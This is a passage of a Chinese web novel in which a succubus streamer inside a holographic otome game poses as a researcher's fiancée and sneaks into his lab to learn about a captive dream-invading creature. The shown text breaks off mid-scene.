你本想用救命之恩敲他一笔钱换来大学的学费,但没想到他死而复生后失去了昏迷期间的记忆,于是你继续谎称自己是他的未婚妻,并且救了他的命。】 之芙:【……】 这剧情还给连上了。所以她终于明白,为什么在人偶师的游戏里,夕同简的母亲会说那样奇怪的一段话。 系统说:【虽然你瞒了他一些事,但你救了他的命啊。救人命的事情,怎么能叫骗呢。】 之芙:【……】 之芙说:【系统,感觉你的话好像别有深意。】 系统立刻否认:【没有,这是夕同简自己说的。】 “怎么不说话了?”夕同简一句话拉回了她的神智,抬头,只见夕同简居高临下地看着她,“是不知道怎么反驳了?” 之芙有点愣。一方面系统给的剧本信息量有点大,她还在消化;另一方面,她一直觉得夕同简像方寄南,但此刻,夕同简冷淡到堪称残酷的表情,是她从来没有在他身上见过的。 她一时呆在了原地,然而,在其他人的眼里看来,就像是她被夕同简吓到了。粉白的小脸仰着,眉头可怜地蹙起,猫似的圆眼里蓄了浅浅的一层雾气,粘湿眼睫。 她眨眨眼,那厚重的鸦翅般的眼睫,颤巍巍地翕动了一下,又不堪重负般垂下。 唇瓣抿成一团,鼻尖被逼得通红。 活像是受了天大的委屈,却有口难辩。 夕同简张了张嘴,原本已经到了嘴边的刻薄话,突然就说不出来了。可是,他明明也没有说什么过分的话,而且被不由分说地扇了一巴掌的,是他才对吧?! 但是,身后其他人的表情已经变了。 看他的眼神,就像看着什么该天打雷劈的负心汉似的。 他张了张嘴试图挽回自己的形象,但之芙又开口了: “我知道你嫌弃我不温柔不漂亮,可是……可是!当初是你说我救了你的命,你要待我好,怎么现在,连我们之间的关系你都不承认了……” 她哭得很假。 一直呜呜咽咽的,鼻子也红彤彤,却没有一滴泪。只有雾气打湿了眼睫,让一点儿光斑在眼睫上跳跃。 但又如此可怜,好像他真是什么负心汉,要吞一千根针来抵消罪孽,哄她重新笑起来。 “当初在深山里的情谊,你都忘了吗?忘了、忘了也好……我也不是那种挟恩图报的人,你想不带我去,我自然有我自己的去处!” 夕同简也不知道自己怎么了。 他明明应该叫保安来把这个无理取闹的女人赶出去。 “别哭了。” 话说出口,他才意识到这一段带着些烦闷的话,是他说出来的。 他明明是想让她别哭了。但话说出来,却好像是他在不耐烦一样。 身后的人又用谴责的目光看着他,然后同情地看着哭得一塌糊涂的之芙。 明明他是巧舌如簧的人,却直愣愣地说出了这么一段话,好像那张嘴在她眼泪汪汪的注视下也恨上了自己的主人,自己离家出走了。 他表情沉了沉,不知道何时起,总是像面具一样挂在脸上的笑容也消失了。 既然说‘自有去处’,为什么还不放手? 不仅不放手,还…… 还抓紧了他的衣袖。用那双葱白似的手指,紧紧地拉住他的袖子,细瘦的手腕伶仃,指尖有一点薄薄的新茧子。 让他不由得想,在她所说的,他忘掉的那段属于深山的记忆里,她是不是真的为了他吃了苦。 如果是这样的话,那他…… 好像也确实该打。 “别哭了。”他又有点生涩地说。 “凶、凶什么嘛!”之芙抽抽噎噎实则没有一滴眼泪,抬眼小心翼翼地看着他,“也就是我,我喜欢你,才给你凶我的机会,等我哪天不喜欢你了,你……” 她话结结巴巴地止住了。 夕同简弯下腰,轻轻地用手指擦掉了她眼睫上的水迹。他又恢复了一贯的温柔,还有点僵硬。 “没有凶你的意思,你想跟着我去采风考察,是不是?没有说不带你去。不过那地方很危险……” 也可能因为他确实忘掉了一段记忆。夕同简对自己说,或许在那段记忆里,他们真的是亲密无间的伴侣。 这样一想,好像也不是不能解释。 “你什么都不知道,这很危险。跟我来……” 他有些无奈地拉起之芙手,给身后还在目瞪口呆的几人做了个口型,示意他们跟上。 …… ……就、就这样? 被夕同简带进研究所的时候,之芙还有点懵。 她好像什么都没干,只是无理取闹地耍横了一通。 就这么简单,夕同简就答应了她? 之芙立刻在脑海里对系统说:【看,这就是高玩!】顺便帅气地撩了撩头发。 嘿嘿,不愧是她!小小攻略角色,不是手到擒来? 系统冷静地说:【你怎么知道他就相信你了呢?说不定他是在同事面前装样子,等进了研究所就找机会拒绝你,或者等去了采风的地方,再让你神不知鬼不觉的消失。】 【你的想法太黑暗了。】之芙哼哼唧唧地说。【这是不可能的!】 【为什么?游戏里一切都有可能,不能因为他是你认识的人就放松警惕,现在还不能确定失忆后的他就是你记忆中的他……】 【因为这是个乙女游戏啊!】之芙说,她跟着夕同简走进了研究所,不断下行的电梯停在了负十三层,电梯门打开,映入眼帘的是一个繁华的大厅,【一切嘴硬的男人最后都会追妻火葬场的……】 大厅内,无数穿着白大褂的人拿着报告脚步急促地来去,更深处是一间间分隔开来的屋子,看不太清晰。 夕同简在一旁的大门上扫了瞳膜认证,“叮咚”一声,透明的玻璃墙缓缓开启。 与此同时,之芙的脑海中也响起了“叮咚”一声,系统的机械音变得毫无生气: 【游戏《大卸八块》已正式开启,是否需要开启直播功能?】 之芙眼前一亮:直播! 在体验这个全息游戏前,之芙就是一个小有名气的游戏主播了,她玩过很多游戏,但由于身份原因,她最常玩的游戏就是乙女游戏,既可以在游戏里吃到攻略对象的情感,又可以在游戏外靠直播赚一些钱用来生活,对她而言可谓是一举两得。 因为她直播的风格特殊,所以一直以来也有很多粉丝,她对自己的粉丝也感情深厚——虽然她们总是叫她笨笨妹宝,但是在初接触人类社会的时候,是她们给了她关心和爱,让她渐渐爱上了和魅魔社会完全不同的人类社会。 她的很多粉丝,也是乙女游戏的玩家,比起其他玩家群体来说,她们对游戏内角色的感情要更丰厚,也更希望能有一款全息游戏来体验自己喜欢的角色一起生活。 所以在得知可以直播这个全息游戏的时候,之芙的第一反应就是:赶紧开直播,给她的好姐妹们安利这个好玩的游戏。 现在终于可以开直播了!之芙摩拳擦掌,指挥系统打开直播间。 这个游戏的直播间和之前那种电脑游戏的直播不一样,这里的直播间是全息游戏仓自带的,内容由系统来控制,打开后会一直悬浮在她视线范围内的右上角。 打开直播间之后,之芙又指挥系统打字跟观众们打招呼。 因为全息游戏的原因,她的一举一动都是在游戏里真实反馈的,如果她现在突然说“观众们中午好!”大概会被游戏里的NPC当做精神病吧。 虽然不能做动作,但她可以在意识里指挥系统打字和打开面板。 系统按照她的要求打开了直播间的观众面板,之芙上下扫了一下,大概是因为她刚刚开播,而且也没有提前预告的原因,进来的观众寥寥无几,里面也没有她熟悉的名字,反而都是一些陌生人。 弹幕不断滚动着,大多数是对于游戏的惊讶: 【哇,第一次看到这个游戏内部是什么样子!】 【好神奇!】 这些人大概都是游戏公司的员工吧,知道自己会直播,所以提前蹲守了。之芙也没太放在心上。 除了这些感叹神奇的弹幕,还有一些弹幕是鼓励的: 【芙芙加油!我们看好你!】 嗯?他们怎么知道自己的名字? 之芙询问系统,系统很快回答:【因为你的直播间用的是真名,他们都能看到。】 之芙了然地点点头,很快把这个小插曲抛之脑后,她把直播间暂时关上,准备等一会儿人多了再看看。做完这一切,她看向了夕同简。 一路走过来,几乎所有人都在跟夕同简打招呼:“夕老师,早上好!” “夕老师好!” “夕老师,昨天晚上给您提交的报告是……” “夕老师……” 夕同简一手插着兜,一手牵着她,保持着温和的微笑,没接太多话。 站在他身边的之芙理所应当地也收到了很多视线,惊讶的视线大部分落在夕同简的脸上。 ——他脸上,那个巴掌印还没有消下去,非常明显。 但大部分人都很礼貌,没有问出来,只是私下里—— 之芙转头,看到一个研究员在跟同伴小声说悄悄话。想也知道是在讨论夕同简脸上的巴掌印…… “在看什么?” “没,没什么。”之芙说。 “别放在心上。”夕同简淡淡地扫了一眼身后的人,嘴角含笑,“第一次带人进研究所,他们看到了难免好奇一些,没有恶意。” 于是之芙再次感觉到,夕同简真的是一个很温柔很好相处的人。 糟糕,她的手开始为了自己莫名其妙打了夕同简一巴掌而开始痛了…… 她跟着夕同简走了几步,抿着唇开口:“那个……” “不好意思啊……” “嗯?”夕同简问。 “就是刚刚打了你的事情……”之芙小声开口,“对不起,我不应该那么冲动……” “……没关系。”夕同简也轻声说,他摸了摸自己的脸,微微笑着,并不在意的模样,“如果真像你说的那样……” 那他确实该打。 第42章 《大卸八块》 跟未婚夫住在一起,天经…… 夕同简把计划书递给之芙的时候, 她还有些懵:“诶?我可以看吗?” ——她不是科考计划的工作人员也不是研究员,只是夕同简的未婚妻,夕同简直接把计划书给她, 是不是有点……嗯,人类把这个叫作什么来着, 以权谋私? 但夕同简只是温和的笑了一下, 表示没有问题。 之芙一边在心里嘀咕“第三异世界生物研究所”会研究什么奇怪的东西,一边打开计划书。 打开后她才发现,这个计划书写得很严谨细致, 但……里面基本没有研究对象的详细内容。上面只写了一些日程安排、工作人员的联络方法、科考目的地的详细情况。 怪不得夕同简能放心让她看计划书。 按照上面的说法, 他们要去的是一个叫“纳什”的地方,之芙拿起手机打开地图却搜索不出来, 只能搜索到更大一级的县城名字。 从地图上来看, 那是一个紧邻海洋的无人小岛, 上面遍布原始森林和深山险崖, 他们要先坐船抵达小岛, 然后再考察当地地形和风土人情。 计划书上写的科考目标写得很笼统,也只是普通的“采集当地原生植物”、“研究土地结构”之类的……等等,一个异世界生物研究所为什么要研究这些?这很奇怪吧…… 之芙问系统:【这个世界里有什么“异世界生物”吗?】 【没有。】系统回答得很快, 【至少在大众视野里不存在。这个世界的设定就和我们的世界是一样的。】 【哦……】之芙说, 那就是有了。毕竟, 她也是一个隐藏在大众视野之外的“异世界生物”。 作为异世界生物本物——本魔, 之芙对此接受良好。 她把计划书啪地一声合上,对夕同简说:“我要去。” 就算不是剧情推动她去, 她也想去看看这个世界里的异生物是什么,难道是她的同类吗? 夕同简像是早有预料般点点头。他打开一个设备,往墙上投影了一些照片。 “这些是上一批去做采集工作的研究员们拍下的照片, 你可以先看一下再考虑。我说那里很危险,并不是吓唬你。” 这些照片明显是一组的,投影在墙上,异常清晰。 先是几个研究员的合照,合照上他们的表情很轻松,紧接着是一些实地记录照片,内容包括研究员们趟过深到腰部的黑色泥潭、脚下踩得稀烂的青苔、身边树上一只手臂大小的蜈蚣,更多认不出来的密密麻麻的虫子,还有躲在树林更深处的的蛇。 “这座岛位于印度洋深处,救援的直升飞机和救援船很难及时抵达,每一次采集数据的伤亡率都很高。”夕同简用轻描淡写的语气说出了令人起一身鸡皮疙瘩的事实,“上一次的采集工作,三死七伤,只有一个人比较幸运,只受了一点小擦伤。” 这是正常科考工作的伤亡率吗……之芙咽了下口水。伤亡率都不是最重要的,毕竟她是玩家,轻易死不了,但更重要的是照片上那些恶劣的环境和令人毛骨悚然的虫子…… 之芙当场打起了退堂鼓。她对系统说:【系统,到时候去了那边可以把我的知觉触觉痛觉什么的调低一点吗?】 系统也用平静的语气说出了残酷的话:【不行。为了保证玩家游玩体验的真实感,本游戏的体感与真实事件体感完全一致。】 之芙表情扭曲了起来。她不怕疼,但最怕虫子,特别是照片上那些比她手臂还长的蜈蚣和密密麻麻的不知道是什么的虫子,一想到跟着去了那边,要趟着齐腰深的黑水,一脚踩下去黏糊的触感中夹杂着虫子触须的挣扎,说不定还会顺着衣服钻进她的身体里…… 之芙:…… 之芙对自己说,一个游戏而已,世界上好玩的游戏这么多,别为难自己。 然后她表情凝重地看向了夕同简:“我想了一下,我还是……” 夕同简笑了一下,接话道:“你不用勉强自己,其实我没有那么需要人照顾——” 之芙说:“我还是不去了。” 夕同简:“……”夕同简也表情凝固了一下。 之芙说:“我相信你!你一个人肯定没有问题的!” 面对那些恐怖的虫子,夕同简一个人有没有问题她不知道,但她肯定有问题!之芙说完这句话,就指挥系统:【系统赶紧退出游戏,我选个新的玩。】 这个有巨大虫子的世界,她是一秒钟也呆不下去了! 系统停顿了一下,然后回复她:【无法退出。】 【?】之芙震惊,【什么?!】 【无法退出。】系统又说了一次,【这个游戏还有别的剧情你没有走完,无法退出。】 不是,怎么还玩强制那套呢!之芙不信邪,打开系统面板,却发现真的没有退出键!她不死心地把其他所有界面都打开,甚至连直播间都重新退出开了一遍,依然没有退出的选项。 之芙只好接受这个设定,问系统:【还有什么剧情是我没过的?】一般来说拒绝了明显是主线剧情的选项,不就会给一个普通结尾,例如“您过完了普通快乐的一生,但隐藏在人生另一面的是什么呢?您无法得到答案了。”这样的结局,让她结束游戏吗? 系统却不再说话了。 夕同简回过神来,叹了口气,说:“你还真是爱出尔反尔。”但他的表情却没什么责怪的意思,只是朝其他人点点头,示意自己要带之芙离开。 之芙难得没有反驳,乖乖地跟其他人打过招呼,跟着夕同简往研究所外走。 研究室外面一间间隔开的房间,房间上有一个小窗。之芙本来没有偷窥的意思的,但路过一间房的时候,她无意中看到小窗里的房间—— 那是一间完全空白的房间。里面立着许多她叫不出名字的仪器,但第一眼就吸引她注意力的,是一个顶到天花板的巨型圆柱体,那圆柱体大约有三个人那么高,里面注满了水,外壳透明,里面连着许多管子,但更引人注目的是…… 圆柱体里有一个高大的男人,他漂浮在透明液体中间。浑身赤.裸,能看到他身上健壮的肌肉,他闭着眼,一张俊秀得不似凡人的脸上有种沉睡着的安详,无数机械管道连接在他的身体各处。 之芙只看了一眼,还没来得及细看,夕同简走到了她身边,挡住了她的视线。 之芙看向夕同简,试图在他脸上找到一些秘密被发现后的惊慌,但夕同简只是温柔地笑了一下。 “那是什么?”之芙问。 夕同简竖起食指,抵在唇上,做了一个噤声的手势。 微笑道:“只是一个昏迷在研究所外的男人。我们在救治他。” 之芙:…… 看起来完全不是这么一回事。 夕同简说:“好了,别把那个男人放在心上。研究所离市区很远,班车每天只来一趟,我带你去员工宿舍,你先去那里住一个晚上吧。” 之芙问:“员工宿舍?”她不是这里的员工诶。不过她应该可以住夕同简的房间吧…… “嗯。”夕同简说,“住我的房间就好。” “也对。”之芙说,“你又不在研究所……我住你的房间也什么问题。” 夕同简却笑着摇了摇头。 他伸出一只手来,示意之芙搭上来:“三天之后才出发。在这之前……” 他笑眯眯地指了指自己:“我不是你的未婚夫吗? 跟未婚夫住在一起,天经地义吧。” 第43章 《大卸八块》 【推测该生物是一只魅魔…… “……” 缥缈的歌声从远处传来, 伴随着虚弱的声音。 “救救我……” 声音由远及近,虚弱如一团轻飘飘的云,却丝丝缕缕地缠绕而来, 从耳廓传导到身体各处,像是连手脚都跟着他发音时的震动而颤抖。 “你能听到我的声音吗……救救我……” 之芙睁开了眼睛。她记得, 自己应该是在研究所的宿舍里睡着了来着…… 可是, 这是哪里? 之芙望向面前的房间,四周一片漆黑,只有面前有一扇半开着、泄露出一丝灯光的房间。 缥缈的歌声从半开的门里传出, 她控制不住自己的脚, 走上了前—— 门里空空荡荡,四周白茫茫一片, 只有面前矗立着一个巨大的椭圆形柱, 有过一面之缘的男人顺着水液在其中悬浮, 他的面庞有种异乎寻常的美丽, 身材修长而俊美, 肩背线条柔和而轻盈,覆着薄薄的肌肉,一路收紧在倒三角区域。 他这样赤.条条的、毫无防备地闭着眼, 鸦羽般的眼睫上挂着一串细小的气泡, 像是晶莹的泪珠, 他的脸上露出一种安详的表情, 像个毫无修饰又艳丽异常的陷阱。 “芙芙……”那个缥缈的声音又开始说话了,而源头来自水中的男人。 之芙控制不住地走上前去, 十指紧紧贴住透明的玻璃,忽然—— 男人睁开了眼睛。 他的眼睛漆黑圆润,深不见底, 乍一看去仿佛和普通人类没什么两样,放在那张艳丽异常的脸上,却像是画龙点睛般让他活了起来,有种震慑人心的美。 “芙芙……”他轻轻地说,眼神那么深情,仿佛隔着玻璃用他的眼睛拥吻她,“你是来救我的吗……” 他的表情那么深情,但之芙却完全不记得自己见过他。 “你……你是谁?” 男人的手指贴上了玻璃,他的手浸泡在水中,泛出惨白的颜色,却没有起皱,反而无比细嫩,指尖泛着莹润的粉,指腹紧紧贴在玻璃上,压成鲜艳的红色。 他眨了眨眼,一串气泡从眼睫滑落,咕噜噜地飘上上空。 “你不记得我了吗?”他委屈地问,“你答应好,会救我的。” 之芙在脑海中呼唤系统,这是又什么背景剧本,为什么没有给她? 可无论她怎么呼唤,系统都没有出声,仿佛不曾存在过似的。 “我是你的爱人啊。”或许是之芙的沉默引起了男人的恐惧,他紧紧地贴过来,在之芙把手放在玻璃上的时候,他将脸贴到了之芙的手心里,仿佛在蹭她的手,“芙芙,你忘了吗?我们约好了,会在纳什见面的。” “纳什?”这不是今天白天时,夕同简说的那个地方吗? “是啊。”男人朝她点头,“你答应我,会说服你的那个未婚夫,让他成全我们的。” 他的脸随着之芙的手心一动,像一只乖巧的小动物:“你不会丢下我的……对不对?” 他抬起眼来,用一双漆黑的,仿佛被水洗过的眼睛看着她。 之芙本来没有想回答他。可是,仿佛被蛊惑了似的,之芙的脑海中只剩下那双澄澈的眼睛,她张了张口:“我不会丢下你的。” 男人脸上浮现出欣喜:“那,约好了。你会来纳什找我……我也会一直,乖乖地等着你,亲爱的。” 缥缈的声音逐渐远去,一切事物都像是沉入了水底,最后只剩下男人那双漆黑的、澄澈的、充满诱惑的眼睛。 还有他深情而悲伤的声音。 “我会一直,等着你。” “……” “呼……呼!”之芙喘着粗气,骤然从床上坐起。 面前一片漆黑,她茫然地坐了一会儿,摸索着打开了床头灯。 灯光照亮了这间小小的房间,之芙的记忆缓慢回笼——跟着夕同简来到宿舍之后,夕同简分给她一个房间,就回到了研究所,晚上只叫人送来饭菜,让她好好休息,没有回来过。 现在,她正躺在宿舍里,刚刚见到的一切不过是她做的一个梦。 之芙想起刚刚在梦里,她想要喊系统却发现系统怎么也不应声,连忙在脑海中呼唤系统:【系统!系统!】 这一次系统回答得很快:【怎么了?】 之芙说:【我刚刚做了个梦……】游戏里的梦,真的只是“做了一个梦”这么简单吗?而且,这个梦还这么……这么的,呃,诡异。 而且,她现在想起那个梦,忽然想起了另一件事:【系统,我为什么要跟着夕同简去科考?】 根据夕同简的说法,她只是一个爱慕虚荣,爱上了夕同简的脸和钱的坏女人……就算想抓奸,也没必要跟着他去那种蛮荒之地照顾他吧? 果然,系统说:【根据剧本背景设定,您曾做了一些梦,梦里,你和那个男人约定会去纳什找他,但您一直以为这不过是一个普通的梦,也没在地图上找到这个地方。直到您听到夕父夕母说起,他要去一个叫纳什的地方考察,您才意识到这不只是一个梦。】 之芙瞠目结舌:【为什么之前不说?】 系统说:【这是根据剧情进度解开的背景故事。】 怪不得之芙之前想退出游戏的时候,系统提示还有剧情没有走完。 之芙想了想,从床上爬起来,换好衣服偷偷溜到隔壁去,敲了敲门:“夕同简?你在吗?” 门里没有回应。这是一件大套房,安排房间的时候,夕同简就把她安排在了客房——虽然他嘴上说着未婚夫妻不必忌讳,但还是有分寸的。 相比之下,之芙就没那么有分寸了。她推开门,发现床上根本没有人,现在已经从凌晨了,但夕同简大概在加班,还没回来。 于是,之芙套了件外套,溜出了宿舍。 系统在脑海中警惕地问:【你要去哪里?】 之芙一边打开直播间,一边跟直播间里的人打着招呼,有一搭没一搭地跟系统说话:【去实验室啊。】 没有提前预告,又是深夜开播,之芙还以为直播间里不会有多少人,但奇怪的是,她打开直播间的时候,直播间里的人数已经达到了几千——就像是在等着她开播一样。 她翻了翻观众名单,奇怪,还是一个眼熟的人都没有。 今天她直播了一整天,已经弄明白了这个直播间的运转方式,跟普通的直播软件没什么区别,她可以自己选择开播或者不播。不过,比普通直播间更人性化的是,直播间开启之后,除非她主动选择开播,晚上十点过后是会自动下播的,这也是防止泄露她的个人隐私。 除此之外,系统也会自动检测隐私画面,比如换衣服、睡觉等等画面,都会自动屏蔽。 所以,现在系统就是她的直播间管理员了! 之芙对着直播间里不断滚动的【这么晚了芙芙要去哪里啊】的弹幕,微微一笑。 “当然是,去救我的漂亮老婆啦!” 什么做梦,不就是发老婆吗!请游戏公司放心,她已经完全明白! …… 已经是凌晨,夜色正深,从宿舍到外面的路伸手不见五指,研究所却依然灯火通明。 进门的时候,之芙特意看了一眼研究所外面的牌子——上面写着怀市生物研究所,并不是系统给的背景里的“第三异世界生物研究所”,看来这个世界的普通人并不知道这些事情,夕同简的研究都是暗地里进行的,只是不知道,是什么人在支持这样的研究…… 研究所的门口只有两个守夜的保安,之芙悄悄潜入了电梯,电梯下行,显示最下方是洗衣房。 洗衣房……之芙好像在哪里听说过,据说研究所的白服都是统一收集清洗的。她先去了一趟洗衣房,找了件跟自己身形差不多的白服套上,再把头发散开,戴上一个不知道是谁放在洗衣房的眼镜——大功告成! 进研究所要扫瞳膜,她在电梯门口蹲了一会儿,成功等到了一个进出的人,跟着对方一起进了研究所。 研究所很大,分东西两个方向,白天基本都是脚步匆匆的研究员,但到了晚上就可以看出来一边的灯已经关得差不多了,另一边灯火通明,研究员们应该都在亮灯的那一边。 而亮灯的那一边,就是夕同简白天带她去的地方,也是夕同简的研究室和办公室…… 想到夕同简可能就在哪间屋子里,之芙反而抬头挺胸,推了推眼镜,大大咧咧地走了过去。 越心虚越容易被发现,这点她还是明白的。 直播间都在给她加油:【芙芙冲啊!】 之芙走到白头那个关着奇怪的男人的研究室旁边,发现里面也灯火通明,她闪身进了对面的一间没开灯的屋子,从门缝里打量着对面。 屋里的陈设依然跟白天见到的一样,那个奇怪的长相艳丽的男人闭着眼漂浮在椭圆形容器中。 但和白天不一样的是,一台大约一人高的仪器被推到了他面前,几个穿着白服的研究员正在一旁忙碌,而仪器前坐着一个男人,正垂着眼专心地看着仪器屏幕上跳动的数据。 男人说了什么,一个研究员走上前来,递给他一个文件夹,把屏幕上的数据调试了一遍。 数据重新加载,时间跳回了一个小时前。 之芙虽然看不懂仪器上不断跳动的数据,不过她注意到,仪器上的曲线图在一个小时前突然活跃了起来,就像心脏检测仪一样一上一下,一个小时后就恢复了平静。 研究员又调试了几段数据,无一例外的,都是在深夜活跃,在白天恢复平静。 之芙觉得上面的时间很奇怪,她凑近了些,盯着那个时间,想了想—— 这不就是她今晚醒来的时间吗? 结合男人在她梦里说的话,也就是说…… 之芙还想再看,背对着她坐在仪器前的男人,却突然转身。 是夕同简! 他穿着一身白服,表情温柔,黑色的瞳仁却深不见底,仿佛能洞穿万事万物。 之芙心里一惊,赶紧缩回了黑暗中。 按理来说……夕同简在明,她在暗处,他应该是看不到她的才对。 夕同简回过头来,只是若有所思地看了一眼外面,便再次转了回去,跟研究员说着什么。 之芙松了一口气。但夕同简在对面,她肯定不能过去了……不过…… 之芙去过夕同简的办公室。 她趁着对面的夕同简背对着她,悄悄推开门,再次伪装成路过的研究员,潜入了研究所的更深处——那里是夕同简的办公室。 已经去过一次,之芙轻车熟路,而夕同简的办公室居然没有落锁,她看看四周,四下无人,推门进去,合上门,根据白天夕同简给她拿计划书的时候,她又摸索了一会儿,成功找到了一份文件。 文件外面写着一长串她每个字都看得懂,组合在一起却完全理解不了的学术用语,之芙翻了几页,都没看到自己想看的。 忽然,外面传来了一阵脚步声!似乎还有说话的声音! 是被发现了吗? 之芙心里一惊,躲进了办公桌底下。借着办公桌外的灯光,她再次翻开文件,一行字映入眼帘。 【该生物有实体入梦能力……根据研究员蒋秀秀的证词,该生物在梦里指引她去往“纳什”,检索显示,此地位于东线一座无人小岛……该岛没有人类活动痕迹。】 【离小岛最近的几片陆地上,本地人均表示没有听说过这个名字。“纳什”一词或许是该生物群体对小岛的称呼。】 【……】 后面还有一大段的推测文字。之芙又往后翻了几页,发现那个男人进入过好几次梦,每一次都是不同的人,在梦里他指引他们去往“纳什”。此后夕同简组织了几次针对该岛的考察,但无一例外失败了,他们都没能深入小岛,也没在岛上找到任何生命活动的痕迹。 之芙翻到最后一页,略过一大片的推测和检查项目,直接看向了最后一段的检查结果。 【该生物有入梦、蛊惑人心的能力,在梦里自称被入梦者的“爱人”,并以爱人身份引诱人前往纳什。经检查,被入梦者产生精神恍惚、体虚乏力等状况,并且对该生物所说的话深信不疑。】 【根据检索,符合记载中“魅魔”的形象。】 最底下,有一行钢笔写下的镌秀的字:【推测该生物是一只魅魔,申请再次上岛考察,搜寻其同类。】 ——而底下,申请人的签名写着三个她熟悉的字:夕同简。 之芙愣愣地看着文件中的一行字,忽然,办公室的门被推开了。 是夕同简,他回来了。 第44章 《大卸八块》 “现在是你有求于我。”…… 【啊啊啊啊啊芙芙快躲起来!!】 【好恐怖QAQ】 弹幕滚动得越来越快, 几乎是尖叫起来。 之芙对着弹幕做了一个噤声的手势,缩进了办公桌下面。 现在已经很晚了,他从研究室离开, 应该是准备要下班,她估计夕同简进门也不会来办公, 放放东西就走了。 而且这个办公桌又很大, 桌低暗暗的,之芙躲进深处之后,除非蹲下来看, 否则很难注意到她。 “放这里就好。”夕同简的声音从身后响起, 带着熬夜加班后的疲惫,只是语气仍然温和, “报告书尽快交给我就好, 你们先回去休息吧。” “好, 夕老师。” “知道了, 谢谢夕老师!” 研究员们稀稀拉拉地应和着, 似乎是报告之类的重物被放在了桌子上,紧接着门开了又关,研究员们陆续伸着懒腰往外走。 夕同简应该也要走了吧……快走快走, 等他走了, 说不定她还能找个机会去看那位据说是跟她同族的“魅魔”——虽然她觉得对方有些奇怪, 不太像是魅魔。 “等一下, 小赵。”夕同简忽然说。 “有什么事吗夕老师?” 之芙缩在桌子下面,听着上方的动静, 似乎是叫小赵的那个男生走在最后,被夕同简叫住了。 “不是什么大事。”夕同简笑着说,“你跟保安处说一声, 不用给我监控录像了。” “嗯?”小赵惊讶,“夕老师刚刚不是说有人进来了吗?这、这是实验室安全违背守则的吧……” “哦,我想了想,可能是我看错了。”夕同简说,他按了按额头,“大概是最近熬夜太多,神情太差了……” “夕老师要注意身体啊!”小赵赶紧说,“后天的考察项目还要夕老师带队,您大病初愈,一定要注意身体,如果太累就申请休假吧?” “我知道的,谢谢。”夕同简说,“如果有需要的话……你先回去吧,我还要处理些文件。” 躲在桌下的之芙:! 夕同简要办公吗?小赵你赶紧劝劝啊,都这么晚了还不睡觉的吗? 之芙满心期许小赵自然不知道。他又说了几句,见劝不动夕同简,便打了个招呼离开了。 办公室重新安静了下来,之芙只能听到夕同简轻微的呼吸声,似乎连办公室外面实验室的研究员们都离开了,偌大的研究所,只剩下夕同简…… 还有躲在桌子下的她。 脚步声响起,走到了不远处,夕同简大概是拿了什么东西,又慢慢地走了回来。 “啪嗒”、“啪嗒”、“啪嗒”…… 他脚步悠闲,甚至可以说是散漫,闲庭信步,却像是死神的脚步慢慢逼近了她。 弹幕里的尖叫几乎可以化作实体了,疯狂地滚动着,也刺激着之芙的心脏。 【啊啊啊啊啊啊快跑!】 【挖槽他是不是要动手了才支开其他人的,芙芙快跑啊!】 紧接着,夕同简拉开椅子,坐了下来。 之芙咽了口唾沫。她是真的被堵在办公桌里了。 夕同简手长脚长,但只是很端正地坐着,从她的角度,可以看到夕同简翻着一个为什么文件,时不时拿起笔修改一下。 要……这样出去吗?这样出去的话该怎么解释?呃……说“我在梦里梦到了你研究的那个魅魔,所以想来看看他”?这样说的话,会被拉去研究的吧…… 但是好像也没有别的办法了…… 之芙咬咬牙,正准备伸手推一下夕同简让他发现,忽然门被敲响了。 “夕老师,您在吗?”外面的声音响起。 好机会!之芙想,等他起身开门,她就换个地方藏…… “怎么了?”可夕同简没有起身的意思。 之芙:…… 之芙要气死了!夕同简这家伙,不会已经发现她了吧?她憋着嘴又缩回了桌子下面,丝毫没有注意到,夕同简无意中瞄下来的眼神。 他嘴角带着一丝笑意。 从他的角度看去,就像是一只蠢蠢欲动的小猫,在受了惊后又缩回了自己的窝里。 “夕老师,这么晚了打扰您了。我来是想问一下后天去考察的事情……” “有什么问题吗?说吧。”夕同简温和地说。 “没什么,其实之前我已经问过您很多遍了!但是还是想再确认一下,这次考察一定要小赵来当副队长吗?他资历还很浅……” 夕同简认真地听他说话——没有人注意到,他正一心二用地用余光看着桌下之芙因为生气而紧紧抿起的嘴。 “这个问题我们之前讨论过了……”即使被问了七八遍,夕同简的语气和措辞还是一如既往的温和,当然,话语的内容也是一如既往的不容反驳,“虽然小赵资历浅,但他曾经参加过纳什的考察,而且他也不是副队,等上了船,会有一个当地的导游来带队……” “可是!夕老师,我完全不同意这个安排,我觉得……” 之芙在桌子下面听了两耳朵,大概就是这个人觉得小赵资历浅,想当副领队,但被夕同简驳回了好几次,仍然不甘心,试图在最后出发的时限里说服夕同简。 但夕同简只是表面上看起来温和,说话却是滴水不漏、态度强硬的。 对方的语气很激动,似乎快要吵起来了,但夕同简仍然保持着冷静,一边安抚,一边拒绝…… 忽然,夕同简换了个姿势,一双被西裤包裹的大长腿无意中向前伸了伸。 之芙半跪在狭小的空间里,他的腿只差一点就抵住之芙的膝盖了。 西裤随着伸腿的动作往上拉伸,露出了一截性感的脚踝。 之芙盯着看了一会儿,恍然大悟:等等,这不是…… 乙女游戏里经典的桌下play吗! 可她不想当桌子下面的那个。 之芙缩了缩,在夕同简得寸进尺地把脚伸过来的时候,狠狠一脚踩在了他的脚上。 她看不到夕同简的表情,但从另一个人的反应来看,夕同简的表情大概狠狠扭曲了一下,因为对方叫道:“夕老师!您……您没事吧?” 他很有事。因为之芙现在正在桌子下面掐他的大腿。 夕同简往下看了一眼,从对面点头道:“没事,你接着说。” 他一边说话,一边抵住之芙,桌下的空间进一步缩小,西裤蹭着她的腿。 “好了。你说的我会再跟小赵谈谈的。”夕同简说,他语气变了,声音里充满了赶客的味道,“时间也不早了,早点休息吧。” “夕老师!” “好了。”夕同简说,“不要让我再说第二遍,好吗?” 他的语气已经沉了下去,只在最后放缓了些。 对方沉默了一会儿,但最后也只能不甘心的告辞离开了。 办公室里重新恢复了寂静。 没有人说话,好半晌,只听空气里响起轻轻的一声笑,紧接着是夕同简的声音: “我腿都要给你掐青了。 怎么样,蹲在桌底下当小猫,好玩吗?” 之芙:…… 他果然早就发现了吧!之芙越想越气,恨不得上去咬他一口。 夕同简退开了一下,之芙从桌底下爬起来,瞪着他。 “还瞪我?”夕同简叹了口气。“是你先偷偷溜进我的办公室里来的,你身上这件白服哪里来的?” 他的视线渐渐往下,落在之芙的手上——“你还偷看机密文件……这是违反安全法则的。” “你说……”他的语气随意却带着压迫感,“我是不是应该把你送进保安处,让他们来处理?” “……” 夕同简的目光慢悠悠地绕着之芙转了两圈,似乎在审视什么。 